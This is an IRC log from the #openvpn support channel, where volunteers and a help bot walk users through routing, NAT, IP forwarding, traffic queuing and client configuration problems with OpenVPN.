12:46 <+EugeneKay> About a dozen
12:47 < bandroidx> we are in about a dozen same channels or you are in about a dozen?
12:47 <+EugeneKay> The latter
12:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds]
12:48 < bandroidx> ahh
12:48 <+EugeneKay> /whois EugeneKay will list the channels we share
12:48 < bandroidx> it only shows you in two
12:48 < bandroidx> i did
12:48 <+EugeneKay> Yeah, privacy mode is default now
12:48 < bandroidx> [EugeneKay] +#openvpn #koush
12:48 < bandroidx> ahh
12:48 <+EugeneKay> And I'm too lazy to remember how o turn it off
12:48 < pekster> bandroidx: Are you doing redirect-gateway or such? Just use sfq on your *physical* egress and sfq will take care of the rest
12:49 < bandroidx> i was just going to ask exactly that pekster
12:49 < pekster> Stop worrying so much about getting "exact, down to the bit" equal stream queuing
12:49 < bandroidx> basically i have tun0 openvpn server does redirect-gateway and tun1 openvpn server does not and is used for dante socks server
12:49 < pekster> Don't mess with per-VPN or per-client or egress on tun devices. You don't need any of that. You need a single sfq rule, and maybe tbf at the root to own the queue
12:50 < bandroidx> awesome that makes life a lot easier
12:50 < pekster> Add complicated crap when you actually need it, not just because someone's blog told you to ;)
12:50 < bandroidx> hahahhaha
12:50 < bandroidx> nah i was just over thinking it
12:51 < bandroidx> didnt need a blog to do that, i do t hat on my own all the damn time
12:51 < bandroidx> especially when it comes to my health lol
12:51 < bandroidx> but what do you mean by "own the queue" regarding tbf at the root
12:52 < bandroidx> ahhh
12:52 < bandroidx> Please note that SFQ, like all non-shaping (work-conserving) qdiscs, is only useful if  it  owns  the
12:52 < bandroidx>        queue.   This is the case when the link speed equals the actually available bandwidth. This holds for
12:52 < bandroidx>        regular phone modems, ISDN connections and direct non-switched ethernet links.
12:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
12:52 < bandroidx> eww paste fail
12:52 -!- zhou3594 [~zhou3594@jindan.chem.ou.edu] has joined #openvpn
12:52 -!- zhou3594 is now known as eN_Joy
12:52 < bandroidx> my link speed = the bandwith so i think i am good
12:52 < bandroidx> its not like a gigabit nic on a 100mbit line
12:53 < bandroidx> its 100mbit on 100mbit so i should be good
12:53 < pekster> an upstream router could still end up misconfigured, but generally that's probably accurate
12:53 < bandroidx> well actually the provider does something not give full bandwith even though its a 100/100 dedi
12:54 < pekster> As soon as packets leave whatever network domain you control devices for, you have no control over what they do. They could drop them, loose them, add obscene delays, etc
12:54 < bandroidx> but it holds true enough i dont think it should be a problem
12:54 < bandroidx> yeah but not much i can do about that
12:54 < bandroidx> as its not constant so i cant set it to any sane value
12:54 < pekster> Right
12:54 < pekster> I don't worry about the case my ISP fails to give me what I've set my tbf speed at, because if that's going on, something else is too that's going to screw me over anyway
12:55 < bandroidx> i am having a similiar issue with my fios, i have 50/25 and i can get 50/25 no problem on torrents, ftp, speedtests, http downloads, etc.  BUT when i try to watch youtube it usually drops down to 9mbit which is slightly too slow for 720p and it keeps rebuffering over an over and it makes me mad.  so today i decided as a test i would setup openvpn on my tablet and see if it helped, and sure enough it fixed the problem 100%
12:56 < bandroidx> which really seems like verizon is traffic shaping youtube, but that makes no sense since they arent shaping anything else especially bittorrent
12:56 < bandroidx> strange right?
12:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:59 < bandroidx> the only other thing i can think of is that the verizon router is broken
13:00 < pekster> Could be a CDN issue too
13:00 < bandroidx> doesnt youtube have solid CDN?
13:01 < bandroidx> i mean they got like over 100 streaming servers all within like 10ms of me
13:01 < bandroidx> and my vpn is in france lol
13:01 < bandroidx> the one nice thing is i get zero ads
13:01 < pekster> You'd think, but they might interact with the ISP in a way that's breaking
13:01 < pekster> Yup, the ad crap is annoying
13:01 < bandroidx> i guess they dont have ads for france yet
13:02 < bandroidx> i dont get anything, no 5 seconds before skip shit or anything
13:02 < pekster> IIRC adblock can fix that
13:02 < bandroidx> for that reason i dont mind using openvpn for youtube on my tablet lol
13:02 < bandroidx> on android?
13:02 < pekster> Not unless you run firefox
13:02 < pekster> dunno if FF for android works with adblockplus
13:02 < bandroidx> this is the youtube app
13:02 < pekster> Then no :)
13:02 < bandroidx> but adblock for android blocks ads with host files
13:02 < bandroidx> but i dont think it works for youtube ads
13:02 < bandroidx> but not 100% sure
13:03 < bandroidx> EugeneKay would probably know
13:03 <+EugeneKay> I don't youtube
13:17 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
13:19 -!- eN_Joy [~zhou3594@jindan.chem.ou.edu] has quit [Ping timeout: 244 seconds]
13:30 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has joined #openvpn
13:31 -!- benedikt [~benedikt@unaffiliated/benedikt] has left #openvpn []
13:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:36 < troker> Hey all - Quick question.  I pay for a vpn service (you can see config files here http://hidemyass.com/vpn-config/UDP/Canada.Quebec.Montreal_LOC1S4.UDP.ovpn).  This works fine and all my traffic goes up the VPN, *BUT* my desired configuration would not push ALL my traffic up; I only want some of my traffic to be sent up the VPN (based on port).   Can anyone let me know how I should modify this config file so that only a "routable" interfac
13:36 < troker> created?
13:38 < pekster> !provider
13:38 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
13:39 < pekster> This said, what you want is called Policy Routing. LARTC has a good guide if you want to learn more: http://lartc.org/howto/ (Linux-based, although the basic premise holds across OSes)
13:39 <@vpnHelper> Title: Linux Advanced Routing & Traffic Control HOWTO (at lartc.org)
13:39 < rob0> well, that's possibly beside the point here. ^^ yes
13:39 < rob0> it is a question for your OS
13:39 < troker> pekster: Understood, sounds like a reasonable rule
13:39 < rob0> probably not for your provider's help desk :)
13:41 < pekster> troker: Yea. We can't really help (here) since it's not an "openvpn" problem. Your provider can't either, because you need help learning about networking and your OS/distro. Start with LARTC for Linux-based learning, and maybe follow-up in your distro's support forums or a general network forum/channel
13:41 < pekster> The internals of policy-routing are non-trivial if you're new to the theory, but I always encourage learning :)
13:42 < troker> pekster: I understand, I am mildy proficient with PF so I plan on dealing with the routing in there.  My question was more related to OpenVPNs push rules.
13:42 < troker> If I may be allowed one general question: What is the best way to test traffic flow through an interface?  Like say I start this script with --rotute-nopull and I get a tun0 interface.  How can I test that traffic has the ability to move through that interface?
13:43 < pekster> Add a test route via that interface, and watch where it goes? That's less a routing question (if you add a route correctly it'll get used) but a firewall question if you want traffic to actually go where you intend
13:44 < pekster> From openvpn's standpoint, if you (or the server pushes) 'redirect-gateway' you can either ignore it with --noroute-nopull, or override it on your OS with, say, a separate routing table
13:45 < troker> Ok cool, I think I have somewhat of a place to start taking look at this issue - thanks for all your help
13:46 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:55 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has quit [Quit: troker]
13:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:16 -!- troker [~troker@129.63.253.84] has joined #openvpn
14:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
14:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
14:29 -!- mode/#openvpn [+o dazo_afk] by ChanServ
14:29 -!- dazo_afk is now known as dazo
14:43 -!- troker [~troker@129.63.253.84] has quit [Quit: troker]
14:49 -!- troker [~troker@129.63.253.84] has joined #openvpn
14:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
14:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:10 < bandroidx> pekster: i was just thinking, if i run sfq on the egress interface and not on the  tunnel interfaces, wouldnt that mean that people running many connections like bittorrent or ftp w/ 10 transfers will be able to barrel through the queuing process?  i was thinking that if run on the tun0 they wouldnt be able to as it would be looking at a single tunnel connection to each user, but on the egress it will see the actual traffic being  tunne
15:10 < bandroidx> led which may be many connections.  or am i thinking of this wrong?
15:11 < pekster> Sure. But no one queue gets to dwarf out the others
15:14 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
15:15 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 276 seconds]
15:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:35 -!- daemoen [~daemoen@216.245.201.138] has joined #openvpn
15:35 < daemoen> hello all
15:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:40 < daemoen> having issues with routed mode openvpn server on ubuntu, osx 10.8 client.  firewall/server.conf:  http://fpaste.org/9xYO
15:40 -!- troker [~troker@129.63.253.84] has quit [Quit: troker]
15:42 < daemoen> I can successfully ping 172.28.14.1 from the client, and the clients 172.16.14.6 from the server.  I cannot however reach any of the 10/8 network behind the server from the client.  routing table shows 10 via 172.28.14.5 as expected. traceroute shows traffic reaching the 172.28.14.1  (server).  no flow beyond that point
15:42 < pekster> !serverlan
15:42 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
15:42 < pekster> Since you're doing NAT (line 23 in that paste) you don't need the return-route for the VPN network, but forwarding needs to be enabled on the server
15:43 < daemoen> it is enabled
15:43 < pekster> Assuming the traffic is going out eth0, of course
15:43 < daemoen> ec2 instance, only has eth0 and tun0 so yeah.
15:43 < daemoen> and ipv4 forwarding and promiscuous are enabled
15:44 < pekster> You don't want/need promisc
15:44 < daemoen> i have tried the classic nat method, and the proper routing methods
15:44 < daemoen> ive tried with and without :)
15:44 < daemoen> just in case
15:44 < pekster> Can the server ping the IP you're trying to reach from the client?
15:45  * daemoen facepalms
15:45 < daemoen> im gonna die if icmp is disabled
15:45  * daemoen sighs and shakes his head
15:46 < daemoen> ok, ignore me, im an id10t today it seems
15:46 < pekster> Some traceroute tools let you trace to an IP on an arbitrary port/protocol, which is great for tracing to things that don't ping or have the "standard" UDP traceroute ports open
15:47  * daemoen nods
15:48 < daemoen> so sorry, hadnt even thought that icmp wasnt enabled on the machines, heh.  its the most basic of tshooting...... its laughable when youre using ping to test... and then realize that ssh is working fine after the fact..
15:52 < pekster> I once blamed an ISP for connectivity when it turned out a lightening strike damaged the physical TX part of a NIC, but not the RX. So, software says the DHCP request goes out, tcpdump sees that and all the other customer's replies, but the TX never goes down the wire ;)
15:53 < pekster> Try that on for "things you might miss when troubleshooting"
15:53 < daemoen> ouch
15:53 < daemoen> that would be a .... yeah
15:55 < pekster> When I knew what to look for, there was a stack trace in the kernel log, but that's not exactly the first place you look when dhcp requests don't come back :P
15:55 < daemoen> lol
15:56 -!- bjh4 [~bjh4@12.104.148.2] has joined #openvpn
16:00 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has joined #openvpn
16:10 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
16:21 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
16:24 < troker> My routing table (after I run my vpn config) looks like this - http://pastebin.com/raw.php?i=yKKueYjS  -- tun0's gateway is "link#10", I am unfamiliar with this.  Does this mean that when openVPN set up the connection it didn't create a defualt gateway for the interface?
16:37 -!- nahmaste [~namaste@c-69-181-131-136.hsd1.ca.comcast.net] has quit [Quit: bai]
16:39 -!- cdnl [~cdnl@li284-140.members.linode.com] has joined #openvpn
16:39 -!- eN_Joy [~zhou3594@jindan.chem.ou.edu] has joined #openvpn
16:40 < cdnl> I accidentally deleted /etc/init.d/openvpn
16:41 < pekster> Your distro package should have that file
16:41 < pekster> Most distros make changes from the sample initscript
16:41 < cdnl> where would I find it (centos 6.3)
16:42 < pekster> Ideally the backups of your system that you keep. Failing that, the RPM. I don't know enough about how RHEL/CentOS does builds to know if the file is inside the tarball, or if they patch it during the build process
16:43 < pekster> Maybe reinstalling the openvpn package over itself will put it back
16:43 < pekster> And in the future, you should be a lot more careful as root
16:43 < eN_Joy> i just recently re-built my box, it was a gentoo but now ubuntu 12.10, when i do ifconfig, i don't see a tun interface, however i do see that tun driver is loaded and there's a entry in /dev/net/tun, what should i look for next? thanks
16:44 < pekster> eN_Joy: Look for world peace next? openvpn creates the tun devices automatically; if you know that you need persistent devices for some reason, create it by hand or read your distro docs on network setup
16:46 < eN_Joy> pekster: lol, when i try to test my config file (that was used before) i got TCP/UDP: Socket bind failed on local address [undef]: Address already in use, then I thought tun0 might be the problem
16:48 < pekster> Nope
16:49 < pekster> The error clearly says it couldn't bind to the address, so you've selected a bad IP/port to bind to (port or local directive probably)
16:49 < pekster> Or something else is already listening there
16:49 < eN_Joy> pekster: yeah, forgot to uncomment the first directive in my config file "local a,b,c,d"...
16:50 < eN_Joy> do i set that to 127.0.0.1 or 0.0.0.0?
16:50 < pekster> The IP you wish to lsten on, or leave it blank to listen on the wildcard address
16:54 -!- p3rror [~mezgani@2001:0:53aa:64c:c41:26b2:d606:a524] has quit [Ping timeout: 245 seconds]
16:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:01 -!- cdnl [~cdnl@li284-140.members.linode.com] has quit [Ping timeout: 256 seconds]
17:02 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
17:04 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
17:04 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
17:05 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 245 seconds]
17:05 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 245 seconds]
17:05 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 276 seconds]
17:05 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Remote host closed the connection]
17:06 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has quit [Ping timeout: 276 seconds]
17:06 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 276 seconds]
17:06 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
17:08 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
17:08 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
17:08 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:09 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:11 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
17:11 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
17:12 -!- Shway [~Shway@216.208.252.66] has joined #openvpn
17:12 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 276 seconds]
17:12 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
17:15 -!- Shway [~Shway@216.208.252.66] has left #openvpn []
17:18 -!- p3rror [~mezgani@2001:0:53aa:64c:cf4:1749:d606:a524] has joined #openvpn
18:05 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:06 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
18:08 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
18:09 -!- Shway [~Shway@216.208.252.66] has joined #openvpn
18:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:16 < Shway> Hello, I am working the Amazon EC2 OpenVPN v2.3 I used the Amazon AMI and am stuck. I need to create a "general user" account to get past the login page as my RADIUS username and password are not working. HOWEVER there is no where to provide the newly created user in the OpenVPN Admin UI a password. I could really use some help on this.
18:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:18 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
18:18 -!- Kireji [~nospam@biocontact.org] has joined #openvpn
18:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:20 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Read error: Connection reset by peer]
18:20 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
18:21 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 245 seconds]
18:21 < Kireji> I set up openvpn server on a remote 1U, and tunnelblick on a local osx box.  I can get tunnelblick to conect, but connections are not goign through the VPN
18:21 -!- gardar [~gardar@gardar.net] has quit [Quit: bye!]
18:21 < Kireji> according to
18:21 < Kireji> https://code.google.com/p/tunnelblick/wiki/cFAQ#How_do_I_know_the_VPN_is_working?
18:21 <@vpnHelper> Title: cFAQ - tunnelblick - Frequently Asked Questions - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com)
18:21 < Kireji> I have to add redirect-gateway def1 to the osx config, but when I do, no network connections happen at all
18:22 < pekster> !redirect
18:22 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:22 <@vpnHelper> http://ircpimps.org/redirect.png
18:22 -!- gardar [~gardar@gardar.net] has joined #openvpn
18:22 -!- Shway [~Shway@216.208.252.66] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- In tests, 0x09 out of 0x0A l33t h4x0rz prefer it :)]
18:23 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
18:25 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 248 seconds]
18:25 < Kireji> is "--redirect-gateway" the same as the line "redirect-gateway def1"  in the file config.ovpn ?
18:25 < kisom> Kireji: Yes, with the def1 flag set.
18:26 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 260 seconds]
18:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:27 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
18:27 < Kireji> "is ip forwarding enabled" - is this in the client (tunnelblick) or on the openvpn server?
18:27 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
18:27 < Kireji> /etc/openvpn/server.conf doesnt' have any line about ip forwarding
18:28 < Kireji> !ipforward
18:28 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
18:29 < Kireji> so I set up tun on the server
18:30 < Kireji> followed instructions on https://help.ubuntu.com/12.04/serverguide/openvpn.html
18:30 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
18:31 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
18:32 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
18:32 < Kireji> for what I want, I don't think I need a bridged VPN mode, but I'm not sure
18:32 < pekster> That guide completely fails to mention OS-level IP forwarding
18:33 < pekster> Use the info the bot gave you
18:33 < pekster> openvpn doesn't replace your OSes routing and firewall operations, just connects the clients & server together
18:34 < Kireji> !linipforward
18:34 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
18:34 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:35 < Kireji> grrr
18:37 < Kireji> it apears the use case I'm expecting - the ability to connect to the server and get outside network connectivity is not really what openvpn does then?
18:37 < Kireji> I'll need to much with "iptables -I FORWARD -i tun+ -j ACCEPT" and "/sbin/ip link set "$ETHDEV" promisc on" ...?  that gets me beyond what I understand wrt to networking
18:38 < Kireji> and turning difrent network adapters into promiscuous mode doesn't seem right
18:39 -!- p3rror [~mezgani@2001:0:53aa:64c:cf4:1749:d606:a524] has quit [Remote host closed the connection]
18:40 -!- p3rror [~mezgani@2001:0:53aa:64c:cf4:1749:d606:a524] has joined #openvpn
18:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
18:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:45 < Kireji> is there a place online I can read more about linipforward?  I need to understand this better to get my setup working
18:46 < pekster> OpenVPN is quite able to work in a redirection-based setup (this is why the bot gives you a cute flowchart to get it working)
18:46 < pekster> Don't use promisc; it won't help you
18:46 < pekster> !tcpip
18:46 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
18:46 < pekster> Without an understanding of routing and firewalling, openvpn won't be a lot of use to you
18:48 < Kireji> I have some basic understanding, and want to get it working
18:48 < Kireji> http://openvpn.net/index.php/open-source/documentation/howto.html has a differet iptables command
18:48 <@vpnHelper> Title: HOWTO (at openvpn.net)
18:48 < Kireji> "iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE"
18:49 < Kireji> I've used iptables in the past, I just don't have a deep understanding of what it's really doing
18:50 < kisom> Kireji: It created a NAT for your VPN adapter and forwards it to the eth0 adapter.
18:50 < daemoen> Kireji: in this case, youre masquerading the ip address that request are coming from, its a dirty hack
18:50 < kisom> Please don't kill me for that dumbed down explanation :)
18:51 < daemoen> kisom: how dumbed down you get depends on the person youre talking to.  ive seen it go much dumber than that =D
18:52 < Kireji> I'm off to dinner, and I really, really appreciate yout help.  I'll have to work on this later.
18:52 < Kireji> no dirty hacks. and I'm willing to read and learn to get it working
18:53 < kisom> Kireji: Then you need routable IP-addresses, which I assume you don't have
18:53 < Kireji> I want to use my 1U in a colo to create a VPN, and be able to connect to it from my laptop, and tunnel all my connections through it
18:53 < Kireji> routable IP-addresses on the server?
18:53 < daemoen> Kireji: ok, bridged or routed topology ?
18:53 < Kireji> I don't know
18:53 < pekster> it's routed
18:53 < daemoen> ie: are you in a shared network environment, or is the network stack yours isolated
18:54 < Kireji> I don't fully understand the trad off there
18:54 < pekster> rfc1918 is the correct use-case here, unless you plan on buying a block of public IPv4 IPs for some silly reason
18:54 < Kireji> the server has it's own IP, on a switch
18:54 < kisom> Kireji: In short, use NAT. The whole world does.
18:54 < Kireji> there's only 1 IP on one (1U) server hosting the openvpn service
18:55 < daemoen> pekster: whats wrong with bridging the private network to tunnel through the private gateway ?
18:55 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
18:56 < pekster> huh? What on earth is the use-case?
18:56 < Kireji> NAT meaning the openVPN server acts like a NAT on a router - and translates requests when they come in from the client - sends them out and re-translates them back once they return before sending them back to the client?
18:56 < pekster> He's interested in passing L3 traffic. Linking Ethernet traffic is not only pointless, but stupid if you connect it to the home LAN too since ARPs traverse the VPN, plus any other broadcasts (windows boxes, etc, etc)
18:56 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
18:57 < pekster> Don't suggest bridging just "becuase" -- that's a terriable reason
18:57 < Kireji> kisom: you say use NAT, daemoen: above wrote it's a dirty hack
18:57 < pekster> !tunortap
18:57 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
18:57 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
18:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:57 < kisom> Kireji: Because it really is a dirty hack, but everyone is still using it.
18:57 < pekster> NAT is a "dirty hack" that (nearly) ever home network uses to get Internet. It's not going away until ipv6 is native everywhere
18:57 < kisom> Not only home users.
18:58 < Kireji> oooohh  - you mean *NAT* is a hack.  of course
18:58 < pekster> Well, yes. but them in particular
18:58 < daemoen> pekster: or until most people figure out how to use 6in4
18:58 < pekster> Yea, I just got a sixxs tunnel a couple weeks ago
18:58 < pekster> <3
18:58 < Kireji> I thought you meant using "NAT" for this application / making the VPN to work is a hack
18:58  * daemoen nods.
18:58 < daemoen> I spent the past weekend arguing with my juniper config to get my HE 6in4 tunnel working at home
18:59 < daemoen> unfortunately they *still* dont support dhcpv6 client prefix delegation which is needed for me to use my isps native ipv6 stack
18:59 < Kireji> I'm not going for purity of network protocol idealism here, I want a reliable, secure solution to tunnel all my traffic through
18:59 < pekster> Kireji: You want a routed, rfc1918 ipv4 connection to your server, with NAT, ipforwarding, and forwarded traffic through the firewall
18:59 < kisom> Kireji: what he said ^
18:59 < pekster> Kireji: Everything you need is found starting at the !redirect reply of the bot. Read that, the flowchart, the linked references, and the manpage. Come back if you get stuck *after* all that, and a web search gives you not enough to help yourself
19:00 < Kireji> pekster: cool.  I'm about 1/2 way there I think
19:00 < Kireji> ok
19:00 < Kireji> tonight.  thank you all
19:00 < Kireji> \afk
19:00 < pekster> daemoen: Your router doesn't support your ISPs PD, that is?
19:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:01 < daemoen> pekster: no SLAAC, so I have to be able to grab my public /64 prefix via dhcp, and then RA it (so im both a client and a server)
19:01 < daemoen> drives me nuts that comcast is only using dhcpv6 atm
19:03 < pekster> Hmm, someone in #ipv6 posted an RA from their Comcast, so that's gotta be local to your area
19:03 < daemoen> hmmmm
19:04 < pekster> Can't you not do dhcpv6 without an RA anyway? IIRC you need the RA to get the router configured (dhcpv6 won't do that, just addressing.)
19:04  * daemoen goes to investigate #ipv6
19:04 < daemoen> pekster: correct, but i cant get my prefix without the dhcpv6
19:04 < daemoen> thats the issue im having
19:04 < daemoen> is getting the prefix/address assignments
19:05 < daemoen> and since they are not static, but rather dynamic (which i still find to be stupid), i have to client to grab it before RA, unless they did finally implement SLAAC
19:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
19:12 < daemoen> pekster: i am curious why masquerade as opposed to routing though (in case of Kireji or anyone else for that matter).  don't have to have a bunch of ips, just have a different subnet, which is the default.  most people just use masquerade... which i dont understand why (other than its easier than doing proper routing)
19:13 < pekster> You can't route rfc1918..
19:14 < pekster> Again, you need public IPs to route on the public Internet. People "playing around with" OpenVPN are not gunna go ask their hosted ISP for a /24 to do so
19:20 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
19:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
19:21 -!- mode/#openvpn [+o dazo_afk] by ChanServ
19:21 -!- dazo_afk is now known as dazo
19:22 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has quit [Quit: troker]
19:44 -!- raidz is now known as raidz_away
19:44 -!- AsadH is now known as zz_AsadH
19:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:50 -!- mode/#openvpn [+o krzee] by ChanServ
19:52 -!- bjh4 [~bjh4@12.104.148.2] has quit [Quit: Leaving]
20:16 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
20:28 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
20:50 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 264 seconds]
20:51 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
20:56 -!- p3rror [~mezgani@2001:0:53aa:64c:cf4:1749:d606:a524] has quit [Ping timeout: 245 seconds]
21:07 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
21:19 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:24 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
